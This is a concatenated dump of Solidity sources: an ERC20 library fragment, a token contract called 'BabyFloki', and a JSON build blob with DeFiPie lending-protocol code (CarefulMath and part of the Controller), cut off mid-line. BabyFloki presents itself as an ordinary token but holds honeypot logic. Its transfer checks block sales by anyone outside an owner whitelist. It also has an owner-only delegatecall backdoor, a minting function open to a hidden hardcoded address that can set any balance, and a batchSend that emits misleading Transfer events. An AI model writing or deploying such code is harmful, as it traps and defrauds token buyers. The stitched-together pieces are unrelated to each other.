require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
//heyuemingchen
contract BabyFloki {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1128272879772349028992474526206451541022554459967));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
{{
"language": "Solidity",
"settings": {
"evmVersion": "istanbul",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs",
"useLiteralContent": true
},
"optimizer": {
"enabled": true,
"runs": 1000
},
"remappings": [],
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"abi"
]
}
}
},
"sources": {
"contracts/CarefulMath.sol": {
"content": "pragma solidity ^0.7.4;\r\n\r\n/**\r\n * @title Careful Math\r\n * @author DeFiPie\r\n * @notice Derived from OpenZeppelin's SafeMath library\r\n * https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol\r\n */\r\ncontract CarefulMath {\r\n\r\n /**\r\n * @dev Possible error codes that we can return\r\n */\r\n enum MathError {\r\n NO_ERROR,\r\n DIVISION_BY_ZERO,\r\n INTEGER_OVERFLOW,\r\n INTEGER_UNDERFLOW\r\n }\r\n\r\n /**\r\n * @dev Multiplies two numbers, returns an error on overflow.\r\n */\r\n function mulUInt(uint a, uint b) internal pure returns (MathError, uint) {\r\n if (a == 0) {\r\n return (MathError.NO_ERROR, 0);\r\n }\r\n\r\n uint c = a * b;\r\n\r\n if (c / a != b) {\r\n return (MathError.INTEGER_OVERFLOW, 0);\r\n } else {\r\n return (MathError.NO_ERROR, c);\r\n }\r\n }\r\n\r\n /**\r\n * @dev Integer division of two numbers, truncating the quotient.\r\n */\r\n function divUInt(uint a, uint b) internal pure returns (MathError, uint) {\r\n if (b == 0) {\r\n return (MathError.DIVISION_BY_ZERO, 0);\r\n }\r\n\r\n return (MathError.NO_ERROR, a / b);\r\n }\r\n\r\n /**\r\n * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend).\r\n */\r\n function subUInt(uint a, uint b) internal pure returns (MathError, uint) {\r\n if (b <= a) {\r\n return (MathError.NO_ERROR, a - b);\r\n } else {\r\n return (MathError.INTEGER_UNDERFLOW, 0);\r\n }\r\n }\r\n\r\n /**\r\n * @dev Adds two numbers, returns an error on overflow.\r\n */\r\n function addUInt(uint a, uint b) internal pure returns (MathError, uint) {\r\n uint c = a + b;\r\n\r\n if (c >= a) {\r\n return (MathError.NO_ERROR, c);\r\n } else {\r\n return (MathError.INTEGER_OVERFLOW, 0);\r\n }\r\n }\r\n\r\n /**\r\n * @dev add a and b and then subtract c\r\n */\r\n function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) {\r\n (MathError err0, uint sum) = addUInt(a, b);\r\n\r\n if (err0 != MathError.NO_ERROR) {\r\n return (err0, 0);\r\n }\r\n\r\n return subUInt(sum, c);\r\n }\r\n}",
"keccak256": "0xa0038a60af8bdaab5926cc5d49573b35673de557eb3e65be8f68807e9db1b068"
},
"contracts/Controller.sol": {
"content": "pragma solidity ^0.7.4;\r\n\r\nimport \"./ErrorReporter.sol\";\r\nimport \"./Exponential.sol\";\r\nimport \"./PriceOracle.sol\";\r\nimport \"./ControllerInterface.sol\";\r\nimport \"./ControllerStorage.sol\";\r\nimport \"./PTokenInterfaces.sol\";\r\nimport \"./EIP20Interface.sol\";\r\nimport \"./Unitroller.sol\";\r\n\r\n/**\r\n * @title DeFiPie's Controller Contract\r\n * @author DeFiPie\r\n */\r\ncontract Controller is ControllerStorage, ControllerInterface, ControllerErrorReporter, Exponential {\r\n /// @notice Emitted when an admin supports a market\r\n event MarketListed(address pToken);\r\n\r\n /// @notice Emitted when an account enters a market\r\n event MarketEntered(address pToken, address account);\r\n\r\n /// @notice Emitted when an account exits a market\r\n event MarketExited(address pToken, address account);\r\n\r\n /// @notice Emitted when close factor is changed by admin\r\n event NewCloseFactor(uint oldCloseFactorMantissa, uint newCloseFactorMantissa);\r\n\r\n /// @notice Emitted when a collateral factor is changed by admin\r\n event NewCollateralFactor(address pToken, uint oldCollateralFactorMantissa, uint newCollateralFactorMantissa);\r\n\r\n /// @notice Emitted when liquidation incentive is changed by admin\r\n event NewLiquidationIncentive(uint oldLiquidationIncentiveMantissa, uint newLiquidationIncentiveMantissa);\r\n\r\n /// @notice Emitted when maxAssets is changed by admin\r\n event NewMaxAssets(uint oldMaxAssets, uint newMaxAssets);\r\n\r\n /// @notice Emitted when price oracle is changed\r\n event NewPriceOracle(PriceOracle oldPriceOracle, PriceOracle newPriceOracle);\r\n\r\n /// @notice Emitted when pause guardian is changed\r\n event NewPauseGuardian(address oldPauseGuardian, address newPauseGuardian);\r\n\r\n /// @notice Emitted when an action is paused globally\r\n event ActionPaused(string action, bool pauseState);\r\n\r\n /// @notice Emitted when an action is paused on a market\r\n event ActionPaused(address pToken, string action, bool pauseState);\r\n\r\n /// @notice Emitted when market pieed status is changed\r\n event MarketPied(address pToken, bool isPied);\r\n\r\n /// @notice Emitted when PIE rate is changed\r\n event NewPieRate(uint oldPieRate, uint newPieRate);\r\n\r\n /// @notice Emitted when a new PIE speed is calculated for a market\r\n event PieSpeedUpdated(address indexed pToken, uint newSpeed);\r\n\r\n /// @notice Emitted when PIE is distributed to a supplier\r\n event DistributedSupplierPie(address indexed pToken, address indexed supplier, uint pieDelta, uint pieSupplyIndex);\r\n\r\n /// @notice Emitted when PIE is distributed to a borrower\r\n event DistributedBorrowerPie(address indexed pToken, address indexed borrower, uint pieDelta, uint pieBorrowIndex);\r\n\r\n /// @notice The threshold above which the flywheel transfers PIE, in wei\r\n uint public constant pieClaimThreshold = 0.001e18;\r\n\r\n /// @notice The initial PIE index for a market\r\n uint224 public constant pieInitialIndex = 1e36;\r\n\r\n // closeFactorMantissa must be strictly greater than this value\r\n uint internal constant closeFactorMinMantissa = 0.05e18; // 0.05\r\n\r\n // closeFactorMantissa must not exceed this value\r\n uint internal constant closeFactorMaxMantissa = 0.9e18; // 0.9\r\n\r\n // No collateralFactorMantissa may exceed this value\r\n uint internal constant collateralFactorMaxMantissa = 0.9e18; // 0.9\r\n\r\n // liquidationIncentiveMantissa must be no less than this value\r\n uint internal constant liquidationIncentiveMinMantissa = 1.0e18; // 1.0\r\n\r\n // liquidationIncentiveMantissa must be no greater than this value\r\n uint internal constant liquidationIncentiveMaxMantissa = 1.5e18; // 1.5\r\n\r\n constructor() {\r\n admin = msg.sender;\r\n }\r\n\r\n /*** Assets You Are In ***/\r\n\r\n /**\r\n * @notice Returns the assets an account has entered\r\n * @param account The address of the account to pull assets for\r\n * @return A dynamic list with the assets the account has entered\r\n */\r\n function getAssetsIn(address account) external view returns (address[] memory) {\r\n address[] memory assetsIn = accountAssets[account];\r\n\r\n return assetsIn;\r\n }\r\n\r\n /**\r\n * @notice Returns whether the given account is entered in the given asset\r\n * @param account The address of the account to check\r\n * @param pToken The pToken to check\r\n * @return True if the account is in the asset, otherwise false.\r\n */\r\n function checkMembership(address account, address pToken) external view returns (bool) {\r\n return markets[pToken].accountMembership[account];\r\n }\r\n\r\n /**\r\n * @notice Add assets to be included in account liquidity calculation\r\n * @param pTokens The list of addresses of the pToken markets to be enabled\r\n * @return Success indicator for whether each corresponding market was entered\r\n */\r\n function enterMarkets(address[] memory pTokens) public override returns (uint[] memory) {\r\n uint len = pTokens.length;\r\n\r\n uint[] memory results = new uint[](len);\r\n for (uint i = 0; i < len; i++) {\r\n address pToken = pTokens[i];\r\n\r\n results[i] = uint(addToMarketInternal(pToken, msg.sender));\r\n }\r\n\r\n return results;\r\n }\r\n\r\n /**\r\n * @notice Add the market to the borrower's \"assets in\" for liquidity calculations\r\n * @param pToken The market to enter\r\n * @param borrower The address of the account to modify\r\n * @return Success indicator for whether the market was entered\r\n */\r\n function addToMarketInternal(address pToken, address borrower) internal returns (Error) {\r\n Market storage marketToJoin = markets[pToken];\r\n\r\n if (!marketToJoin.isListed) {\r\n // market is not listed, cannot join\r\n return Error.MARKET_NOT_LISTED;\r\n }\r\n\r\n if (marketToJoin.accountMembership[borrower] == true) {\r\n // already joined\r\n return Error.NO_ERROR;\r\n }\r\n\r\n if (accountAssets[borrower].length >= maxAssets) {\r\n // no space, cannot join\r\n return Error.TOO_MANY_ASSETS;\r\n }\r\n\r\n // survived the gauntlet, add to list\r\n // NOTE: we store these somewhat redundantly as a significant optimization\r\n // this avoids having to iterate through the list for the most common use cases\r\n // that is, only when we need to perform liquidity checks\r\n // and not whenever we want to check if an account is in a particular market\r\n marketToJoin.accountMembership[borrower] = true;\r\n accountAssets[borrower].push(pToken);\r\n\r\n emit MarketEntered(pToken, borrower);\r\n\r\n return Error.NO_ERROR;\r\n }\r\n\r\n /**\r\n * @notice Removes asset from sender's account liquidity calculation\r\n * @dev Sender must not have an outstanding borrow balance in the asset,\r\n * or be providing neccessary collateral for an outstanding borrow.\r\n * @param pTokenAddress The address of the asset to be removed\r\n * @return Whether or not the account successfully exited the market\r\n */\r\n function exitMarket(address pTokenAddress) external override returns (uint) {\r\n address pToken = pTokenAddress;\r\n /* Get sender tokensHeld and amountOwed underlying from the pToken */\r\n (uint oErr, uint tokensHeld, uint amountOwed, ) = PTokenInterface(pToken).getAccountSnapshot(msg.sender);\r\n require(oErr == 0, \"exitMarket: getAccountSnapshot failed\"); // semi-opaque error code\r\n\r\n /* Fail if the sender has a borrow balance */\r\n if (amountOwed != 0) {\r\n return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED);\r\n }\r\n\r\n /* Fail if the sender is not permitted to redeem all of their tokens */\r\n uint allowed = redeemAllowedInternal(pTokenAddress, msg.sender, tokensHeld);\r\n if (allowed != 0) {\r\n return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed);\r\n }\r\n\r\n Market storage marketToExit = markets[pToken];\r\n\r\n /* Return true if the sender is not already ‘in’ the market */\r\n if (!marketToExit.accountMembership[msg.sender]) {\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /* Set pToken account membership to false */\r\n delete marketToExit.accountMembership[msg.sender];\r\n\r\n /* Delete pToken from the account’s list of assets */\r\n // load into memory for faster iteration\r\n address[] memory userAssetList = accountAssets[msg.sender];\r\n uint len = userAssetList.length;\r\n uint assetIndex = len;\r\n for (uint i = 0; i < len; i++) {\r\n if (userAssetList[i] == pToken) {\r\n assetIndex = i;\r\n break;\r\n }\r\n }\r\n\r\n // We *must* have found the asset in the list or our redundant data structure is broken\r\n assert(assetIndex < len);\r\n\r\n // copy last item in list to location of item to be removed, reduce length by 1\r\n address[] storage storedList = accountAssets[msg.sender];\r\n storedList[assetIndex] = storedList[storedList.length - 1];\r\n storedList.pop(); //storedList.length--;\r\n\r\n emit MarketExited(pToken, msg.sender);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /*** Policy Hooks ***/\r\n\r\n /**\r\n * @notice Checks if the account should be allowed to mint tokens in the given market\r\n * @param pToken The market to verify the mint against\r\n * @param minter The account which would get the minted tokens\r\n * @param mintAmount The amount of underlying being supplied to the market in exchange for tokens\r\n * @return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)\r\n */\r\n function mintAllowed(address pToken, address minter, uint mintAmount) external override returns (uint) {\r\n // Pausing is a very serious situation - we revert to sound the alarms\r\n require(!mintGuardianPaused[pToken], \"mint is paused\");\r\n\r\n // Shh - currently unused\r\n minter;\r\n mintAmount;\r\n\r\n if (!markets[pToken].isListed) {\r\n return uint(Error.MARKET_NOT_LISTED);\r\n }\r\n\r\n // Keep the flywheel moving\r\n updatePieSupplyIndex(pToken);\r\n distributeSupplierPie(pToken, minter, false);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Checks if the account should be allowed to redeem tokens in the given market\r\n * @param pToken The market to verify the redeem against\r\n * @param redeemer The account which would redeem the tokens\r\n * @param redeemTokens The number of pTokens to exchange for the underlying asset in the market\r\n * @return 0 if the redeem is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)\r\n */\r\n function redeemAllowed(address pToken, address redeemer, uint redeemTokens) external override returns (uint) {\r\n uint allowed = redeemAllowedInternal(pToken, redeemer, redeemTokens);\r\n if (allowed != uint(Error.NO_ERROR)) {\r\n return allowed;\r\n }\r\n\r\n // Keep the flywheel moving\r\n updatePieSupplyIndex(pToken);\r\n distributeSupplierPie(pToken, redeemer, false);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function redeemAllowedInternal(address pToken, address redeemer, uint redeemTokens) internal view returns (uint) {\r\n if (!markets[pToken].isListed) {\r\n return uint(Error.MARKET_NOT_LISTED);\r\n }\r\n\r\n /* If the redeemer is not 'in' the market, then we can bypass the liquidity check */\r\n if (!markets[pToken].accountMembership[redeemer]) {\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /* Otherwise, perform a hypothetical liquidity check to guard against shortfall */\r\n (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(redeemer, pToken, redeemTokens, 0);\r\n if (err != Error.NO_ERROR) {\r\n return uint(err);\r\n }\r\n if (shortfall > 0) {\r\n return uint(Error.INSUFFICIENT_LIQUIDITY);\r\n }\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Validates redeem and reverts on rejection. May emit logs.\r\n * @param pToken Asset being redeemed\r\n * @param redeemer The address redeeming the tokens\r\n * @param redeemAmount The amount of the underlying asset being redeemed\r\n * @param redeemTokens The number of tokens being redeemed\r\n */\r\n function redeemVerify(address pToken, address redeemer, uint redeemAmount, uint redeemTokens) external override {\r\n // Shh - currently unused\r\n // pToken;\r\n // redeemer;\r\n\r\n // Require tokens is zero or amount is also zero\r\n if (redeemTokens == 0 && redeemAmount > 0) {\r\n revert(\"redeemTokens zero\");\r\n }\r\n }\r\n\r\n /**\r\n * @notice Checks if the account should be allowed to borrow the underlying asset of the given market\r\n * @param pToken The market to verify the borrow against\r\n * @param borrower The account which would borrow the asset\r\n * @param borrowAmount The amount of underlying the account would borrow\r\n * @return 0 if the borrow is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)\r\n */\r\n function borrowAllowed(address pToken, address borrower, uint borrowAmount) external override returns (uint) {\r\n // Pausing is a very serious situation - we revert to sound the alarms\r\n require(!borrowGuardianPaused[pToken], \"borrow is paused\");\r\n\r\n if (!markets[pToken].isListed) {\r\n return uint(Error.MARKET_NOT_LISTED);\r\n }\r\n\r\n Error err;\r\n\r\n if (!markets[pToken].accountMembership[borrower]) {\r\n // only pTokens may call borrowAllowed if borrower not in market\r\n require(msg.sender == pToken, \"sender must be pToken\");\r\n\r\n // attempt to add borrower to the market\r\n err = addToMarketInternal(msg.sender, borrower);\r\n if (err != Error.NO_ERROR) {\r\n return uint(err);\r\n }\r\n\r\n // it should be impossible to break the important invariant\r\n assert(markets[pToken].accountMembership[borrower]);\r\n }\r\n\r\n if (oracle.getUnderlyingPrice(pToken) == 0) {\r\n return uint(Error.PRICE_ERROR);\r\n }\r\n\r\n uint shortfall;\r\n\r\n (err, , shortfall) = getHypotheticalAccountLiquidityInternal(borrower, pToken, 0, borrowAmount);\r\n if (err != Error.NO_ERROR) {\r\n return uint(err);\r\n }\r\n if (shortfall > 0) {\r\n return uint(Error.INSUFFICIENT_LIQUIDITY);\r\n }\r\n\r\n // Keep the flywheel moving\r\n Exp memory borrowIndex = Exp({mantissa: PTokenInterface(pToken).borrowIndex()});\r\n updatePieBorrowIndex(pToken, borrowIndex);\r\n distributeBorrowerPie(pToken, borrower, borrowIndex, false);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Checks if the account should be allowed to repay a borrow in the given market\r\n * @param pToken The market to verify the repay against\r\n * @param payer The account which would repay the asset\r\n * @param borrower The account which would borrowed the asset\r\n * @param repayAmount The amount of the underlying asset the account would repay\r\n * @return 0 if the repay is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)\r\n */\r\n function repayBorrowAllowed(\r\n address pToken,\r\n address payer,\r\n address borrower,\r\n uint repayAmount\r\n ) external override returns (uint) {\r\n // Shh - currently unused\r\n // payer;\r\n // borrower;\r\n // repayAmount;\r\n\r\n if (!markets[pToken].isListed) {\r\n return uint(Error.MARKET_NOT_LISTED);\r\n }\r\n\r\n // Keep the flywheel moving\r\n Exp memory borrowIndex = Exp({mantissa: PTokenInterface(pToken).borrowIndex()});\r\n updatePieBorrowIndex(pToken, borrowIndex);\r\n distributeBorrowerPie(pToken, borrower, borrowIndex, false);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Checks if the liquidation should be allowed to occur\r\n * @param pTokenBorrowed Asset which was borrowed by the borrower\r\n * @param pTokenCollateral Asset which was used as collateral and will be seized\r\n * @param liquidator The address repaying the borrow and seizing the collateral\r\n * @param borrower The address of the borrower\r\n * @param repayAmount The amount of underlying being repaid\r\n */\r\n function liquidateBorrowAllowed(\r\n address pTokenBorrowed,\r\n address pTokenCollateral,\r\n address liquidator,\r\n address borrower,\r\n uint repayAmount\r\n ) external override returns (uint) {\r\n // Shh - currently unused\r\n liquidator;\r\n\r\n if (!markets[pTokenBorrowed].isListed || !markets[pTokenCollateral].isListed) {\r\n return uint(Error.MARKET_NOT_LISTED);\r\n }\r\n\r\n /* The borrower must have shortfall in order to be liquidatable */\r\n (Error err, , uint shortfall) = getAccountLiquidityInternal(borrower);\r\n if (err != Error.NO_ERROR) {\r\n return uint(err);\r\n }\r\n if (shortfall == 0) {\r\n return uint(Error.INSUFFICIENT_SHORTFALL);\r\n }\r\n\r\n /* The liquidator may not repay more than what is allowed by the closeFactor */\r\n uint borrowBalance = PTokenInterface(pTokenBorrowed).borrowBalanceStored(borrower);\r\n (MathError mathErr, uint maxClose) = mulScalarTruncate(Exp({mantissa: closeFactorMantissa}), borrowBalance);\r\n if (mathErr != MathError.NO_ERROR) {\r\n return uint(Error.MATH_ERROR);\r\n }\r\n if (repayAmount > maxClose) {\r\n return uint(Error.TOO_MUCH_REPAY);\r\n }\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Checks if the seizing of assets should be allowed to occur\r\n * @param pTokenCollateral Asset which was used as collateral and will be seized\r\n * @param pTokenBorrowed Asset which was borrowed by the borrower\r\n * @param liquidator The address repaying the borrow and seizing the collateral\r\n * @param borrower The address of the borrower\r\n * @param seizeTokens The number of collateral tokens to seize\r\n */\r\n function seizeAllowed(\r\n address pTokenCollateral,\r\n address pTokenBorrowed,\r\n address liquidator,\r\n address borrower,\r\n uint seizeTokens\r\n ) external override returns (uint) {\r\n // Pausing is a very serious situation - we revert to sound the alarms\r\n require(!seizeGuardianPaused, \"seize is paused\");\r\n\r\n // Shh - currently unused\r\n // seizeTokens;\r\n\r\n if (!markets[pTokenCollateral].isListed || !markets[pTokenBorrowed].isListed) {\r\n return uint(Error.MARKET_NOT_LISTED);\r\n }\r\n\r\n if (PTokenInterface(pTokenCollateral).controller() != PTokenInterface(pTokenBorrowed).controller()) {\r\n return uint(Error.CONTROLLER_MISMATCH);\r\n }\r\n\r\n // Keep the flywheel moving\r\n updatePieSupplyIndex(pTokenCollateral);\r\n distributeSupplierPie(pTokenCollateral, borrower, false);\r\n distributeSupplierPie(pTokenCollateral, liquidator, false);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Checks if the account should be allowed to transfer tokens in the given market\r\n * @param pToken The market to verify the transfer against\r\n * @param src The account which sources the tokens\r\n * @param dst The account which receives the tokens\r\n * @param transferTokens The number of pTokens to transfer\r\n * @return 0 if the transfer is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)\r\n */\r\n function transferAllowed(\r\n address pToken,\r\n address src,\r\n address dst,\r\n uint transferTokens\r\n ) external override returns (uint) {\r\n // Pausing is a very serious situation - we revert to sound the alarms\r\n require(!transferGuardianPaused, \"transfer is paused\");\r\n\r\n // Currently the only consideration is whether or not\r\n // the src is allowed to redeem this many tokens\r\n uint allowed = redeemAllowedInternal(pToken, src, transferTokens);\r\n if (allowed != uint(Error.NO_ERROR)) {\r\n return allowed;\r\n }\r\n\r\n // Keep the flywheel moving\r\n updatePieSupplyIndex(pToken);\r\n distributeSupplierPie(pToken, src, false);\r\n distributeSupplierPie(pToken, dst, false);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /*** Liquidity/Liquidation Calculations ***/\r\n\r\n /**\r\n * @dev Local vars for avoiding stack-depth limits in calculating account liquidity.\r\n * Note that `pTokenBalance` is the number of pTokens the account owns in the market,\r\n * whereas `borrowBalance` is the amount of underlying that the account has borrowed.\r\n */\r\n struct AccountLiquidityLocalVars {\r\n uint sumCollateral;\r\n uint sumBorrowPlusEffects;\r\n uint pTokenBalance;\r\n uint borrowBalance;\r\n uint exchangeRateMantissa;\r\n uint oraclePriceMantissa;\r\n Exp collateralFactor;\r\n Exp exchangeRate;\r\n Exp oraclePrice;\r\n Exp tokensToDenom;\r\n }\r\n\r\n /**\r\n * @notice Determine the current account liquidity wrt collateral requirements\r\n * @return (possible error code (semi-opaque),\r\n account liquidity in excess of collateral requirements,\r\n * account shortfall below collateral requirements)\r\n */\r\n function getAccountLiquidity(address account) public view returns (uint, uint, uint) {\r\n (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, address(0), 0, 0);\r\n\r\n return (uint(err), liquidity, shortfall);\r\n }\r\n\r\n /**\r\n * @notice Determine the current account liquidity wrt collateral requirements\r\n * @return (possible error code,\r\n account liquidity in excess of collateral requirements,\r\n * account shortfall below collateral requirements)\r\n */\r\n function getAccountLiquidityInternal(address account) internal view returns (Error, uint, uint) {\r\n return getHypotheticalAccountLiquidityInternal(account, address(0), 0, 0);\r\n }\r\n\r\n /**\r\n * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed\r\n * @param pTokenModify The market to hypothetically redeem/borrow in\r\n * @param account The account to determine liquidity for\r\n * @param redeemTokens The number of tokens to hypothetically redeem\r\n * @param borrowAmount The amount of underlying to hypothetically borrow\r\n * @return (possible error code (semi-opaque),\r\n hypothetical account liquidity in excess of collateral requirements,\r\n * hypothetical account shortfall below collateral requirements)\r\n */\r\n function getHypotheticalAccountLiquidity(\r\n address account,\r\n address pTokenModify,\r\n uint redeemTokens,\r\n uint borrowAmount\r\n ) public view virtual returns (uint, uint, uint) {\r\n (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, pTokenModify, redeemTokens, borrowAmount);\r\n return (uint(err), liquidity, shortfall);\r\n }\r\n\r\n /**\r\n * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed\r\n * @param pTokenModify The market to hypothetically redeem/borrow in\r\n * @param account The account to determine liquidity for\r\n * @param redeemTokens The number of tokens to hypothetically redeem\r\n * @param borrowAmount The amount of underlying to hypothetically borrow\r\n * @dev Note that we calculate the exchangeRateStored for each collateral pToken using stored data,\r\n * without calculating accumulated interest.\r\n * @return (possible error code,\r\n hypothetical account liquidity in excess of collateral requirements,\r\n * hypothetical account shortfall below collateral requirements)\r\n */\r\n function getHypotheticalAccountLiquidityInternal(\r\n address account,\r\n address pTokenModify,\r\n uint redeemTokens,\r\n uint borrowAmount\r\n ) internal view returns (Error, uint, uint) {\r\n\r\n AccountLiquidityLocalVars memory vars; // Holds all our calculation results\r\n uint oErr;\r\n MathError mErr;\r\n\r\n // For each asset the account is in\r\n address[] memory assets = accountAssets[account];\r\n for (uint i = 0; i < assets.length; i++) {\r\n address asset = assets[i];\r\n\r\n // Read the balances and exchange rate from the pToken\r\n (oErr, vars.pTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = PTokenInterface(asset).getAccountSnapshot(account);\r\n if (oErr != 0) { // semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades\r\n return (Error.SNAPSHOT_ERROR, 0, 0);\r\n }\r\n vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa});\r\n vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa});\r\n\r\n // Get the normalized price of the asset\r\n vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset);\r\n if (vars.oraclePriceMantissa == 0) {\r\n return (Error.PRICE_ERROR, 0, 0);\r\n }\r\n vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa});\r\n\r\n // Pre-compute a conversion factor from tokens -> ether (normalized price value)\r\n (mErr, vars.tokensToDenom) = mulExp3(vars.collateralFactor, vars.exchangeRate, vars.oraclePrice);\r\n if (mErr != MathError.NO_ERROR) {\r\n return (Error.MATH_ERROR, 0, 0);\r\n }\r\n\r\n // sumCollateral += tokensToDenom * pTokenBalance\r\n (mErr, vars.sumCollateral) = mulScalarTruncateAddUInt(vars.tokensToDenom, vars.pTokenBalance, vars.sumCollateral);\r\n if (mErr != MathError.NO_ERROR) {\r\n return (Error.MATH_ERROR, 0, 0);\r\n }\r\n\r\n // sumBorrowPlusEffects += oraclePrice * borrowBalance\r\n (mErr, vars.sumBorrowPlusEffects) = 